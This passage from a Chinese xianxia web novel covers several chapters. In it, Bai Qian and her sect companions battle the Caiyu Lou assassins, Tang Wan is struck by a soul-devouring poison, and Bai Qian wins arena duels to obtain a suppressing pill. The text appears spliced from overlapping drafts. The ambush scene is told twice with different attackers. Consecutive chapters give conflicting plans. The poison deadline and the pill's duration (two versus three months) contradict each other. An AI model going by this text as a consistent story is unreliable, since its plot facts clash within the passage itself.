鉴。晚辈尝试过多种方法,始终无法触摸到‘化境’的门槛。”“化境,乃脱胎换骨之境,非蛮力可破。”甜蜜负手而立,望向殿外深邃的夜空,“你身负至阴至寒功法,又融合了半仙之光,路数与常人不同。寻常的感悟对你而言,或许并不适用。”她回过头,眼中闪过一丝奇异的光彩:“恰好,神殿深处有一处‘悟道崖’,崖壁之上留有上古大能的剑痕,蕴含着天地至理。历代神殿精英,多有在那儿突破瓶颈的。不过”甜蜜话锋一转,带着一丝深意:“悟道崖环境凶险,崖下便是罡风肆虐的虚空,非意志坚定者不可入。你若想去,我不阻拦,但这亦是你答应我的‘一件事’的预热。能否在那儿有所收获,看你自己的造化。”白浅心中震动。悟道崖?上古剑痕?这简直是瞌睡送枕头!她正愁无处寻觅突破的契机,没想到甜蜜直接给出了最高规格的指引。“多谢阁主成全!”白浅郑重行礼。她知道,这既是机缘,也是考验。甜蜜在逼她尽快成长,以应对即将到来的神殿小比和那未知的“一件事”。“去吧。好好准备。小比之前,我会传讯给你。”甜蜜摆了摆手,重新坐回主位,仿佛刚才的对话只是闲谈一般随意。白浅躬身退出银袍长老阁。殿门在身后缓缓关闭,将内外隔绝成两个世界。她握紧手中的银色令牌,感受着其冰凉的触感,心中却是一片火热。悟道崖化境神殿小比她知道,踏入恒古神殿,只是开始。而现在,她正被推着,走向真正的风暴中心。钟声凄厉,穿透夜空,带着前所未有的警报频率。甜蜜阁主原本悠闲敲击桌面的手指骤然停下,凤目中寒光爆射:“护山大阵示警!这是最高级别的入侵警报!”话音未落,一道血色传讯符如流星般撞破窗棂,落在甜蜜手中。她神念一扫,脸色瞬间阴沉如水:“果然韩芳玥那贱婢,竟是彩羽楼的弃子!”原来,韩芳玥被四大长老围攻致死,看似是邪祟伏诛,实则是彩羽楼精心策划的调虎离山之计!就在四大长老被牵制在陨仙谷时,彩羽楼集结了大批精锐,对防御空虚的雨韵剑宗与秋池剑阁发动了惨烈的突袭!“报!”一名守卫跌跌撞撞冲入殿内,浑身浴血,“雨韵剑宗外院沦陷,陆青烟师姐拼死突围,带着残部正向恒古神殿方向撤退!秋池剑阁遭伏击,唐婉师姐断后,身受重伤!”甜蜜阁主猛地站起,周身气势如深渊沸腾:“好一个彩羽楼!竟敢算计到我恒古神殿盟友头上!”她目光如电,射向白浅:“白浅,你既已是我名义上的弟子,神殿便是你的靠山。此刻,正是你兑现承诺之时!”白浅握紧手中长剑,指节发白,眼中燃烧着冰冷的火焰:“请阁主下令!”“随我迎敌!”甜蜜阁主袖袍一挥,殿门轰然洞开,“彩羽楼敢犯我神殿威严,便让他们有来无回!”恒古神殿外围,通往雨韵剑宗方向的官道上。厮杀声震天,血腥气弥漫。陆青烟浑身浴血,那身原本洁净的道袍早已被染成暗红。她左手拖着一柄断剑,右手死死护着身后仅存的十几名雨韵剑宗弟子。“咳咳”陆青烟咳出一口血沫,眼中满是绝望。她们被包围了。四周是密密麻麻的彩羽楼杀手,黑衣蒙面,手持染血的长刀,如同嗜血的狼群。“陆师姐,跟他们拼了!”一名断臂的女弟子嘶声喊道。“不”陆青烟咬牙,从怀中掏出那枚仅剩的“七彩破魔丹”,“带着师妹们冲出去,我去引开他们!”她准备以此丹为引,自爆金丹,与这些杀手同归于尽!就在她即将捏碎丹药的瞬间“轰!”一道恐怖的剑罡从天而降,如陨石般砸入杀手群中!数十名彩羽楼杀手瞬间被绞成肉泥!一道青影如鬼魅般落在陆青烟身前。来人正是唐婉!此时的唐婉,脸色苍白如纸,肩头一道深可见骨的刀伤触目惊心,但她手中的长剑依旧稳如磐石。“青烟”唐婉声音嘶哑,“我来晚了。”“婉儿!”陆青烟眼眶一红,险些落泪。唐婉扫视四周,眼中闪过一丝决绝:“此地不宜久留,彩羽楼早有预谋,我们中了圈套。走,去恒古神殿!”两女对视一眼,无需多言。陆青烟收起丹药,与唐婉并肩而立,残存的弟子们聚拢在二人身后,形成一道脆弱的防线。“想走?”一个阴恻恻的声音响起。彩羽楼的一名黑袍长老自阴影中走出,他修为深不可测,赫然已是化境段巅峰!“今日,你们谁也走不了。”黑袍长老冷笑,大手一挥,“结阵,斩草除根!”数百名杀手瞬间结阵,杀气冲天,将唐婉等人团团围住。恒古神殿山门外。甜蜜阁主与白浅已至。望着前方惨烈的战局,甜蜜阁主冷哼一声:“区区彩羽楼,也敢在我面前放肆?”她并未亲自出手,只是轻轻一挥袖。“嗡”恒古神殿的护山大阵瞬间激活!一道巨大的银色光幕如天倾般压下,将那些彩羽楼杀手尽数笼罩其中。“神殿弟子听令!”甜蜜阁主声音传遍全场,“杀敌者,赏!退后者,斩!”刹那间,恒古神殿的大门洞开,无数神殿卫士如潮水般涌出。白浅手持长剑,身形一闪,直奔那名黑袍长老而去。“彩羽楼余孽,拿命来!”战场上,唐婉与陆青烟看到白浅的身影,心中同时一松。三女分离不过数日,竟以这种方式,在血与火的战场上重逢。而更远处,彩羽楼的楼主正隐于云端,冷冷地注视着这一切。好戏,才刚刚开始。一名浑身浴血的守卫跌撞冲入,嘶声喊道:“阁主!中计了!雨韵与秋池两宗遭袭!是彩羽楼的梅影和紫嫣带队,四大长老被调虎离山,两宗死伤惨重!陆青烟和 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唐婉师姐拼死突围,正向我殿方向撤退,但她们中了彩羽楼的‘噬魂草’剧毒!”“梅影?紫嫣?”甜蜜阁主冷笑,周身气势如深渊沸腾,“两个小小的‘魅级’杀手,也敢在我面前放肆!白浅,随我去会会这群藏头露尾的女人!白浅早已握紧长剑,眼中杀意沸腾:“请阁主下令!”官道之上,杀声震天。陆青烟浑身浴血,那身洁净的道袍已被染成暗红。她左手拖着断剑,右臂一片乌黑,显然中了极毒。在她身旁,唐婉脸色苍白如纸,肩头一道深可见骨的刀伤正不断渗血,气息极其紊乱。包围她们的,是一群身着彩衣的冷酷女杀手。为首的女子身姿妖娆,却散发着令人毛骨悚然的寒气。她便是彩羽楼“魍级”杀手,北方之魍血薇。血薇盯着唐婉和陆青烟,如同看着两块鲜美的血肉,“乖乖交出你们的剑谱,废去全身修为,我或许能留你们全尸。”陆青烟气喘吁吁,咬牙道:“彩羽楼欺人太甚!”“冥顽不灵。”血薇冷哼一声,指尖一弹,数道淬毒的冰锥瞬间破空而出,“既然你们找死,我便成全你们!”就在冰锥即将贯穿二人之时“轰!”一道恐怖的银色剑罡自天而降,硬生生将冰锥震碎!“血薇,你彩羽楼真是好大的狗胆!”甜蜜阁主的声音如九天寒冰般炸响。紧接着,一道青影如鬼魅般落在唐婉二人身前。白浅看着满身是血的唐婉与陆青烟,眼中瞬间布满血丝,杀意几乎凝成实质。“彩羽楼今日,我必屠尽你们这群毒瘤!”白浅仰天长啸,身后古卷武魂疯狂旋转,一股令人窒息的剑意轰然爆发。血薇见状,脸色微变:“甜蜜!白浅!你们竟敢插手我彩羽楼的事!”“插手?”白浅冷笑,长剑直指血薇,“你们抓我朋友,下毒伤人,这笔账,该清算了!”“清算?”血薇不屑一笑,“凭你这个凝煞阶的小丫头?可笑!梅影,紫嫣,解决了她们!”远处,两名彩衣女子应声而出,正是之前袭击两宗的梅影与紫嫣。两人皆是凌霄阶的高深修为,一左一右呈夹击之势逼近白浅。“白浅,小心!她们是彩羽楼的‘魅级’杀手,修为已达凌霄阶!”陆青烟急忙提醒。白浅却毫无惧色,嘴角勾起一抹冷冽的弧度:“凌霄阶?正好拿你们试剑!”刹那间,三股磅礴的剑意轰然碰撞!白浅以一敌二,竟丝毫不落下风,剑法诡谲莫测,正是彩羽楼梦寐以求的剑道武学!甜蜜阁主则凌空而立,俯瞰着血薇:“血薇,你们的楼主不敢现身,派你这个‘魍级’废物来送死,倒是省了我不少功夫。”血薇自知不敌甜蜜,尤其是对方身后那座震惊大陆的“无间营”与“洗心窟”传说,让她心生忌惮。她阴狠地瞪了白浅一眼,咬牙道:“甜蜜,今日算你恒古神殿好运!我们走!”说罢,血薇带着梅影、紫嫣及一众彩羽楼杀手,化作流光仓皇遁去。白浅欲要追赶,却被甜蜜拦下:“穷寇莫追。先救你的人。”白浅立刻收回长剑,快步跑到唐婉和陆青烟身边,迅速探查她们的伤势。当她感受到唐婉体内那股阴冷诡异的“噬魂草”之毒时,脸色顿时阴沉到了极点。“噬魂草?”白浅猛地抬头,死死盯着血薇逃离的方向,眼中闪烁着危险的光芒,“彩羽楼收集各派剑法,抓捕根骨清奇的女修,到底想干什么?”甜蜜阁主走过来,神色罕见地严肃:“白浅,此事非同小可。带回她们二人,立刻来见我。”白浅点头,小心翼翼地扶起唐婉和陆青烟。她能感觉到,唐婉的毒素极其霸道,若不尽快解毒,恐怕会有性命之忧。 38. 炼罡惊鸿慑群魔 恒古神殿,地下密室寒玉床上,唐婉的身体突然剧烈抽搐起来,原本只是浮现蛛网黑纹的皮肤,此刻竟开始渗出黑色的毒血。她的喉咙里发出“嗬嗬”的怪响,仿佛有什么东西在血管里啃噬。“婉儿!”陆青烟扑到床边,却发现唐婉的皮肤烫得吓人,而周围的温度却在急剧下降。冷热交替,正是噬魂草剧毒入髓的征兆。“她撑不住了。”甜蜜阁主站在阴影处,声音沉重,“噬魂草在吞噬她的神魂,一旦神魂被吃空,就算大罗金仙也救不回来了。”白浅站在床尾,双手死死攥着剑柄,指节发白。她刚从葬魂渊逃回来,虽然没拿到续魂丹,却带回了更可怕的消息。“不是三日。”白浅的声音冷得像冰,“梅影说,续魂丹每七日需服用一次。但我观察那老妪的配置手法,唐婉中的,恐怕是经过改良的‘变种噬魂草’。”陆青烟猛地抬头:“什么意思?”“意思是,普通噬魂草毒发是七日,但婉儿中的这种”白浅抬起头,眼中满是血丝,“恐怕是三日。不,现在只剩两天半了。”“两天半!”陆青烟身形一晃,险些摔倒。“而且,”白浅咬牙继续道,“我在葬魂渊看到,彩羽楼正在批量生产这种毒。他们抓了上百个像婉儿这样的天才,用噬魂草控制她们,作为未来的战争傀儡。梅影说,婉儿的玄女帝经神魂,是上佳材料。”甜蜜阁主冷哼一声:“好狠毒的彩羽楼。这是要把整个地煞大陆的天才都炼成她们的傀儡!”白浅走到桌边,铺开一张宣纸,迅速画出葬魂渊的地形图。“渊口有迷雾,内部是倒悬城。关押女修的地方在西侧牢狱,调配毒药的地方在中央大殿。”她指着图纸上的一个红点,“我就是从这里逃出来的。但我怀疑,那里只是个幌子。”“你的意思是?”甜蜜阁主眯起眼睛。“真正的制毒核心,不在地上,而在地下。”白浅眼中闪着智慧的光芒,“那个老妪提到过‘魂引’。她们需要大量的活人魂魄喂养噬魂草。如果只是普通毒师,不需要那么多魂魄。”陆青烟突然想到什么:“你是说,她们在养鬼?”“对。”白浅重重点头,“彩羽楼在利用噬魂草,培育一种更恐怖的东西。而解药续魂丹,可能只是控制这种东西的工具。”甜蜜阁主沉默片刻,突然问道:“白浅,你既然知道这是陷阱,还打算去救唐婉?”“必须去。”白浅毫不犹豫,“婉儿是为了救我才受的伤。而且,我们不能让彩羽楼的阴谋得逞。”“可是你现在去,无异于羊入虎口。”甜蜜阁主冷冷道,“梅影、紫嫣都在那里,还有那个神秘的老妪。以你现在的修为,根本不是对手。”所以我需要帮手。”白浅看向甜蜜阁主,“阁主,借我‘无间营’一用。”甜蜜阁主摇头:“无间营是神殿最后的底牌,不能轻易出动。而且,就算加上无间营,也未必是彩羽楼的对手。”白浅急了:“那婉儿怎么办?眼睁睁看着她毒发身亡?”“当然不是。”甜蜜阁主嘴角勾起一抹神秘的笑意,“白浅,你忘了吗?你现在是我的‘弟子’。作为师父,我怎么能看着徒弟的朋友死在眼前?”白浅一怔:“阁主的意思是?”“我陪你去。”甜蜜阁主淡淡道,“不过,不是以恒古神殿的名义,而是以我个人的身份。”陆青烟大惊:“甜蜜阁主,这太危险了!您是神殿的支 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“现在。”甜蜜阁主转身,“趁着婉儿还有一口气,我们必须速战速决。”两人正要出门,陆青烟突然叫住她们:“等等!”她走到唐婉床边,从怀中掏出那枚仅剩的七彩破魔丹。“把这个带上。”陆青烟将丹药递给白浅,“这是我用三玄聚灵叶和绛珠仙草炼制的。虽然不能直接解毒,但如果遇到紧急情况,这丹药的爆炸力,或许能帮你们打开一条生路。”白浅接过丹药,感受着其中澎湃的力量,郑重道:“谢谢青烟。”“去吧。”陆青烟强忍泪水,“我在这里守着婉儿。你们一定要在两天内回来,否则,她就只能给唐婉收尸了。毒计连环。为了挚友,为了正义,白浅和甜蜜阁主,毅然踏上了这趟九死一生的征途。 39. 杀意惊鸿慑四方 秋池剑阁,听雪小筑。细雨如织,敲打着青瓦,发出令人心烦意乱的声响。唐婉坐在寒玉床上,脸色已由青灰转为一种诡异的潮红,呼吸急促,仿佛体内有两股力量在疯狂撕扯。陆青烟守在一旁,双手按在唐婉肩头,将精纯的浩然正气源源不断地输入,试图稳住唐婉即将崩溃的经脉。但她越输,唐婉的眉头就皱得越紧,显然,普通的真气不仅无法解毒,反而像燃料一样助长了火势。“婉儿,坚持住”陆青烟咬着嘴唇,声音带着一丝不易察觉的颤抖。白浅站在窗边,望着院中连绵的雨丝,眼神冷得像冰。她刚从葬魂渊回来,带回来的消息比想象中更糟。没有续魂丹,没有解药,只有那个老妪阴恻恻的笑声回荡在耳边——“每七日便需服用一次,一旦断药,毒性便会反噬,比死还痛苦!”“每七日一次”白浅低声呢喃,指甲几乎嵌进掌心。唐婉已经撑了两天半,现在每一刻钟都像是在刀尖上跳舞。“白浅,”陆青烟回头,眼中满是血丝,“你带回来的那些陶罐碎片,还有那毒汁的成分,有没有什么发现?”白浅深吸一口气,强迫自己冷静下来。她从怀中掏出一本略显破旧的古籍,正是那本《药王农耕录》。她快速翻动着,指尖停在一页泛黄的纸张上。“找到了。”白浅指着一行小字,“噬魂草,生于极阴之地,以生魂喂养。解之需‘同心蛊’。”“同心蛊?”陆青烟一怔。“没错。”白浅眼中闪过一丝决绝,“彩羽楼根本没打算给她们解药。她们给每个被控制的人下毒,同时也种下了蛊。噬魂草是引子,一旦毒性发作,必须用特定的蛊虫来平息。而这蛊虫,就在彩羽楼高层手里。”陆青烟脸色一白:“所以,我们不仅要拿到解药,还要拿到蛊虫?”“不。”白浅摇了摇头,目光如炬,“我们根本拿不到。梅影、紫嫣都在那里,还有那个神秘的老妪。我们现在去,就是送死。”她合上古籍,语气冷冽:“唯一的办法,就是让彩羽楼自己把解药和蛊虫送过来。”“怎么做?”陆青烟急问。“用我交换。”白浅看向陆青烟,眼神坚定,“彩羽楼一直想抓我,因为我的体质特殊,又因为我手里有半仙之光。他们现在肯定在四处找我。”陆青烟大惊失色:“不行!这太危险了!你这是羊入虎口!”“这是唯一的办法。”白浅打断她,“我故意泄露行踪,让他们抓我。只要我进了葬魂渊,就有机会见到那个老妪,找到关押蛊虫的地方。到时候,我再想办法逃出来。”“可是万一你逃不出来呢?”陆青烟紧紧抓住白浅的手臂,指尖冰凉。白浅笑了笑,笑容中带着一丝凄然:“如果逃不出来,我就死 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在葬魂渊。但至少,在我死前,我会把解药和蛊虫送出来。青烟,你就在神殿外围等我,一旦收到我的信号,立刻带着解药回去救婉儿。”陆青烟眼泪夺眶而出:“不行我不答应太危险了。”“青烟,”白浅轻轻握住她的手,语气缓和下来,“别忘了,我还有甜蜜阁主给的银色令牌。而且,我修炼的《青丘涂山剑诀》最擅长幻术和逃脱。我不会死的。”她转头看向窗外越来越大的雨幕,声音低沉而坚定:“而且,我还要去参加神殿小比,拿到前三名,完成甜蜜阁主的条件。我答应过婉儿,要和她一起,去看看这世界的巅峰。”陆青烟知道劝不住她,只能死死咬着嘴唇,点头道:“好那你一定要小心,我就在神殿等你。”白浅松开手,整理了一下衣衫。她从怀中掏出那株仅剩的四分之三七情菇,小心翼翼地掰下一小块,递给陆青烟。“这个你收好。如果如果我真的回不来,你就用这个,加上你炼制的七彩破魔丹,试试能不能逼出婉儿体内的毒素。虽然希望渺茫,但总比等死强。”陆青烟接过那小块七情菇,如同接过千斤重担,眼泪止不住地流。白浅不再多言,她走到寒玉床边,轻轻摸了摸唐婉滚烫的额头。“婉儿,等我。”说完,她转身,推开门,走进了漫天风雨中。惜春之年,迷局重重。 40. 七情淬体破玄关 玲珑阁顶层,暖香袭人秦月娆慵懒地斜倚在软榻上,湿漉漉的长发披散在肩头,红纱衣紧贴肌肤,勾勒出惊心动魄的曲线。她听着墨芸汇报完白浅的来意,桃花眼中闪过一丝玩味。“想用七情菇和稀有矿材,换我一炉丹’?”秦月娆轻笑,声音酥软入骨,“白师妹,你可知,这锁魂丹炼制极难,且耗费巨大,即便是我也未必愿意接这单生意。”白浅站在纱帘外,身姿挺拔,毫不退缩:“秦师姐,七情菇是炼制高阶毒抗丹的主药,稀有矿材可用于强化灵器。我知道它们值钱,但我也知道,玲珑阁不缺钱,缺的是独一无二的资源。”她顿了顿,继续道:“而且,我能告诉你彩羽楼在葬魂渊的部分布防图。这,或许比灵石更有价值。”秦月娆美眸微眯,坐直了身子。“哦?你进过葬魂渊?”她对这个小师妹的兴趣更浓了。一个刚入内宗不久的新人,不仅能引起甜蜜阁主的注意,还能活着从彩羽楼的地盘跑出来,还带回了情报。“没错。”白浅毫无畏惧地对上秦月娆的目光,“我要的不是施舍,是交易。一株七情菇,换一炉能吊住我朋友性命的丹药。额外的情报,算我送给师姐的见面礼。”秦月娆盯着她看了许久,忽然咯咯娇笑起来,笑声如银铃般动人,却带着一丝冰冷的寒意。“好,有胆识。这生意,我做了。”她轻轻一挥手,一枚玉简飞向白浅。“这是锁魂丹的配方要求。三日后,带着你的东西来取丹。至于情报”秦月娆舔了舔红唇,眼中闪过一丝嗜血的光芒,“若是真的,我会给你一个大惊喜。”白浅接过玉简,心中并未放松。她知道,秦月娆的“大惊喜”,恐怕是一场血雨腥风。恒古神殿·玄黄斗殿白浅从玲珑阁出来时,天色已晚。她并未直接回住处,而是鬼使神差地走向了那座喧嚣震天的建筑千机斗场。玄黄斗殿内,人声鼎沸。白浅坐在看台角落,看着战台上那些挥洒热血的弟子,心中那股压抑已久的怒火与无力感,化作了强烈的战意。“修为太低了”她握紧拳头。哪怕是炼制锁魂丹,也需要强大的修为去驾驭火焰和控制药性。现在的她,笃行段中品,还是太弱了。 只有变强,才能保护她们。”白浅站起身,走向登记处。她要在实战中突破,要在生死边缘磨砺那柄名为“冰魄”的剑。 当她签下试炼协议,踏上玄黄战台时,整个斗殿安静了一瞬,随即爆发出更大的喧哗。 是那个白浅!”“她才刚突破中品,就敢来挑战?”看,柳凌风师兄也来了!”看台上,柳凌风冷冷地盯着战台上的白浅,嘴角勾起一抹残忍的弧度。他身边的心腹早已安排好了一切。第一场,胜。第二场,胜。第八场,胜!白浅浑身浴血,有敌人的,有自己的。她手中的冰魄剑终于出鞘,寒光凛冽,每一剑都带着一往无前的决绝。她要用胜利,来祭奠唐婉那正在流逝的生命,来换取那一线渺茫的希望。当她赢得第九场胜利时,主持执事高声宣布:“第九场,白浅胜!下一场,若能再胜,将挑战‘玄黄潜龙榜’第十九位——‘冰莲剑’谢翩跹!”全场哗然。柳凌风手中的茶杯捏得粉碎。白浅站在战台中央,大口喘息,汗水顺着下巴滴落。她知道,真正的决战来了。为了婉儿,为了青烟,也为了自己。这一战,她必须赢!惜春之年,风雨如晦。双锋并起,一者为生,一者为战。只求在那噬魂草彻底吞噬生命之前,杀出一条血路。白浅一进来,原本喧闹的斗殿瞬间安静了几分。无数道目光汇聚在她身上,有好奇,有敬畏,更多的是嫉妒与恶意。 她刚刚在玲珑阁签下了生死状,此刻身上仿佛还带着那股未散的阴冷。 “白师妹,这边请。”执事恭敬地引着她走向登记处。 今日,她要挑战的是“玄黄潜龙榜”第十九位,谢翩跹。 “白浅,笃行段中品。”执事高声唱喏,“挑战第十九位,谢翩跹!赌注,五百贡献点!” 台下哗然。 以中品挑战大圆满,这已经是疯子行径了,更何况对手是谢翩跹那种级别的存在。 看台上,柳凌风坐在一群男弟子中间,手里把玩着两颗核桃,眼神阴鸷。 “她还真敢来。”柳凌风冷笑,“看来是被逼急了。也是,唐婉那个贱人快死了,她急啊。” “柳师兄,这白浅虽是疯了点,但确实有几分本事。”旁边一个狗腿子附和道,“要不要再安排个人上去,把她腿打断?” “不必。”柳凌风眼中闪过一丝狠厉,“谢翩跹会替我们收拾她的。我要让她在绝望中看着唐婉死去。” 此时,白浅已经登上了战台。 战台是由一种名为“星陨铁”的矿石铸造,坚硬无比,上面布满了密密麻麻的剑痕。她站在台中央,感受着脚下传来的冰凉,心中的杀意却如岩浆般沸腾。 “白师妹。” 一道清冷的声音响起。 谢翩跹一袭白衣,怀抱长剑,如一朵盛开在雪山之巅的雪莲,飘然落在白浅对面。 “你的剑,很特别。”谢翩跹目光落在白浅腰间的“冰魄”上,“我能感受到它在渴望战斗。” “谢师姐过奖。”白浅深吸一口气,体内的《白帝清霜诀》缓缓运转,丹田内的冰晶核心开始加速旋转,“请赐教 “请。” 话音未落,谢翩跹动了。 没有多余的花哨,只有一道惊鸿般的剑光。 那一剑,快得超过了视觉的捕捉极限。仿佛她原本就站在那里,然后瞬间移动到了白浅的身后。 “好快!”台下惊呼。 白浅甚至来不及转身,只能凭借本能向后刺出一剑。 “铛!” 剑鞘与剑锋相撞。 巨大的力量震得白浅虎口发麻,整个人向前踉跄了两步。 “你不用剑鞘?”谢翩跹收剑而立,有些诧异。刚才那一击,若是白浅拔剑,她未必能占到便宜。 “对付谢师姐,还没到用剑的时候。”白浅稳住身形,眼中战意更浓。 谢翩跹微微颔首,不再留手。 “听雪剑法,第一式——雪落无声。” 刹那间,整个战台的温度骤降。漫天飞舞的雪花凭空而生,每一片雪花都带着凌厉的剑气。白浅仿佛置身于暴风雪的中心,视线被完全遮蔽,神识被严重干扰。 “这就是大圆满的实力吗”白浅咬紧牙关,手中的冰魄剑鞘舞得密不透风,将飞来的雪花尽数击碎 但谢翩跹的剑,藏在雪中。 “嗤!” 白浅的左臂被划开一道深可见骨的口子,鲜血瞬间染红了衣袖。 “认输吧,白师妹。”谢翩跹的声音在风雪中回荡,“你的剑意虽高,但修为差距太大。再打下去,你会死。” “死?” 白浅低头看了看伤口,那里并没有流血,而是结了一层白霜。是冻伤。 她突然笑了,笑得凄厉而疯狂。 “我若认输,我的朋友就会死!所以,我绝不会输!” 她猛地抬起头,原本漆黑的瞳孔,此刻竟变成了冰蓝色! 丹田内的冰晶核心疯狂旋转,甚至发出了不堪重负的“咔咔”声。她在燃烧自己的本源,强行提升实力! “冰魄凝针!” 白浅低喝一声,手中并未出鞘的冰魄剑,猛地向前一指。 有剑气,没有光芒。 只有一股肉眼看不见的、极度寒冷的劲气,如一根无形的针,刺破了漫天风雪,直射谢翩跹的眉心! 谢翩跹脸色大变,她感受到了死亡的气息! 她连忙回剑格挡,但那股劲气仿佛能穿透切实体,直接作用在她的神魂之上。噗!” 谢翩跹喷出一口鲜血,整个人倒飞出去,重重撞在防护光幕上。 全场死寂。 谁也没看清白浅刚才做了什么,只看到谢翩跹重伤吐血。 这怎么可能?一个中品,击败了大圆满? 白浅拄着剑,单膝跪地,大口大口地喘着粗气,鼻孔里流出了冰蓝色的 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秦月娆接过玉简,神识一扫,脸上顿时露出狂喜之色:“好!太好了!有了这张图,我就能找到那个贱人的老巢了!” 她收起玉简,看向虚弱的白浅,突然扔过来一个储物袋。 “这里面是一些疗伤的丹药,还有你要的情报。既然生意做成了,我也告诉你一个秘密。” 秦月娆凑近白浅,低声道:“你知道为什么彩羽楼要抓唐婉吗?” 白浅猛地抬头:“为什么?” “因为唐婉修炼的《白帝清霜诀》,是彩羽楼楼主一直在寻找的‘容器’功法。”秦月娆冷笑道,“她们想用唐婉的神魂,去开启一个叫做‘幽冥血海’的禁地。白浅,你救得了她一时,救不了她一世。”白浅如遭雷击,浑身冰凉。 容器?禁地? 原来唐婉从一开始,就是别人棋盘上的一颗棋子! “还有最后一件事。”秦月娆的笑容变得残忍,“三天后,也就是七月初七,彩羽楼会在巴山夜雨城外的‘断魂崖’举行仪式。你要杀的那个‘魑’,那天会出现。这是你唯一的机会。” 白浅死死攥紧了拳头,指甲嵌入掌心,鲜血顺着指缝滴落。 七月初七,断魂崖。她不仅要去杀人,还要去救人。 这局棋,她要掀翻它! 秋池剑阁。 陆青烟已经三天三夜没合眼了。 唐婉的情况越来越糟,体内的毒气已经开始冲击神魂,她时不时会陷入昏迷,嘴里喊着“浅儿”、“青烟”的名字。 “快了就快了”陆青烟一遍遍地抚摸着那株七情菇,她在等,等白浅带着解药回来。“嘎吱房门被推开了。陆青烟猛地回头,看到白浅拖着疲惫不堪的身子走了进来。她身上缠满了绷带,脸色苍白得像纸,但那双眼睛,亮得吓人。“丹药。”白浅只说了两个字,将那枚黑色的锁魂丹递了过去。陆青烟颤抖着手接过,二话不说,撬开唐婉的嘴,将丹药喂了进去。神奇的一幕发生了。唐婉体内那些疯狂蔓延的黑色毒纹,在遇到锁魂丹的药力后,竟然像是遇到了克星一般,迅速退缩、蛰伏,最终消失在皮肤之下。唐婉原本急促的呼吸,也渐渐平稳下来,脸色虽然依旧苍白,但那种濒死的青灰色褪去了。“活了她活下来了”陆青烟瘫坐在地上,喜极而泣。白浅也松了一口气,整个人虚脱般靠在墙上。“青烟,我只有两个月的时间了。”白浅虚弱地说道,“两个月内,我必须找到真正的续魂丹和解药。否则,锁魂丹失效,婉儿还是会死。”陆青烟擦干眼泪,站起身,眼神变得前所未有的坚定:“两个月。这两个月,我陪你疯,陪你杀!”白浅看着她,又看了看床上沉睡的唐婉,嘴角勾起一抹惨淡的笑。“好。那我们就杀出一条血路来。”窗外,雨终于停了。但更大的风暴,正在断魂崖酝酿。 41. 剑洗清池露锋寒 血薇的毒剑虽被挡下,但唐婉肩头伤口已泛起诡异的黑气。沐雪长老当机立断,将一枚珍藏的“冰魄玉露”化入唐婉体内,暂缓毒性蔓延。“去玲珑阁。”白浅声音冰冷,“秦月娆有我要的东西。”三日后,白浅带回锁魂丹。丹药入喉,唐婉暂时脱离危险,但沐雪长老面色凝重:“这丹药只能压制三月。三月内若无解药,神仙难救。”白浅望向窗外阴沉的天空。三月,足够彩羽楼再杀她十次,也足够她杀上断魂崖。一间烛火摇曳的密室中,空气阴冷得仿佛凝固了千年寒冰。“啪”一只精美的羊脂玉杯被一只保养得宜、涂着鲜红蔻丹的手,重重摔碎在地,飞溅的碎片如同此刻密室中四溢的杀意。主座之上,女子并未显露全貌,只有那一双戴着镂空金手套的手,交叠置于案几之上。她的声音从面具后传出,冰冷得不带一丝人气:“陆青烟、唐婉、白浅!这三个剑宗内门弟子,短短时日竟已隐隐威胁到本座的计划!若再让她们这般成长下去,必坏大事!”下首,一名眉心点着朱砂痣、气息内敛如深潭的女子垂首问道,眼神却锐利如鹰:“尊使的意思是?”“紫嫣和梅影那两个‘魅级’的废物,上次在城外失手,不仅没杀了唐婉,反而惊动了白望春那女人,现在不便再明目张胆地动。”主座女子的声音更冷,透着一股残忍的快意,“我听闻,魍级的‘血薇’最近完成了北边的任务,回来了?”“回尊使,”朱砂痣女子恭敬回道,“血薇师姐三日前刚回楼中复命,修为已稳固在化境段下品,剑道更是狠辣,正可用。”“化境段,很好。”主座女子指尖轻轻敲击着案几,发出令人心悸的“笃笃”声,“让她去。一个月内,本座要见到她们三人的头颅,或者至少让其中一人彻底变成一个废人。”“不惜一切代价!”主座女子的声音陡然拔高,带着不容置疑的狠辣,“潜入、下毒、制造意外……办法多的是!‘彩羽楼’要杀的人,还没有能一直躲着的!去安排!”“属下明白!”朱砂痣女子躬身退下,身影悄然融入墙壁的阴影之中,仿佛从未出现过。巴山夜雨城,陆青烟暂居的静室。连日的激战与奔波,让她身心俱疲,但更让她警惕的是那如影随形的危机感。那只神秘的玄猫墨玉不知又从何处溜了回来,蹲在窗台上,金瞳在黑暗中幽幽发亮,审视着盘膝而坐的陆青烟。“小丫头,当真有趣。”墨玉传音道,带着一丝慵懒与好奇,“你才笃行段上品,《白帝清霜诀》竟已隐隐触摸到第二重‘冰肌玉骨’的门槛?你修炼的到底是什么品级的功法?”陆青烟并未睁眼,依旧平静地运转功法,将外界干扰隔绝:“我也不完全清楚。家传功法,名为《青雨惊鸿诀》,但似乎与我体质有特殊的共鸣,修炼出的地煞之气格外精纯凌厉。”她继承的雨韵剑宗核心功法确实特殊,加上她自身“雨灵剑体”的变异,使得她修炼速度一日千里。“据本座所知,至少是‘地阶上品’的功法,才有可能在笃行段就让你对剑意和地煞之气的掌控达到如此地步。”墨玉沉吟道,金瞳中闪过一丝精光,“但你的情况似乎更特殊,难道触及了‘天阶’的门槛?”它顿了顿,语气变得严肃:“小丫头,怀璧其罪,这道理你懂。今后务必小心,莫要轻易在人前展露全部实力和功法特异之处。” 陆青烟神色凝重地点头。她如今身陷巴山夜雨城与雨韵剑宗的漩涡,又有彩羽楼虎视眈眈,确实需万分谨慎。幸好,目前知晓她功法特殊、在剑池试炼中表现惊人的,只有姑姑陆徽。陆徽自然会为她保密。调息片刻,陆青烟取出一枚得自剑池试炼奖励的三品丹药“青霖润脉丹”,吞服下去。丹药化开,化为精纯温和的药力,滋养着她因连日苦战而有些损耗的经脉,并缓缓转化为地煞之气,汇入丹田。接下来的数日,陆青烟深居简出。她每日服用丹药辅助,刻苦修炼《青雨惊鸿诀》,同时不断回忆、揣摩与高手交战的每一个细节,剑意愈发凝练。空闲时,她也会练习刻画一些基础的剑纹,这是雨韵剑宗炼器、布阵的基础,对她理解剑道、温养本命剑器“惊鸿”亦有莫大益处。八天后,陆青烟将手头辅助修炼的丹药消耗大半,体内地煞之气比试炼结束时浑厚了数倍,精纯度也更上一层楼。她有信心,若再与水婆婆交手,虽仍可能不敌,但绝不会胜得那般艰难侥幸。 “是时候再去‘地煞灵泉’了。”陆青烟暗忖。 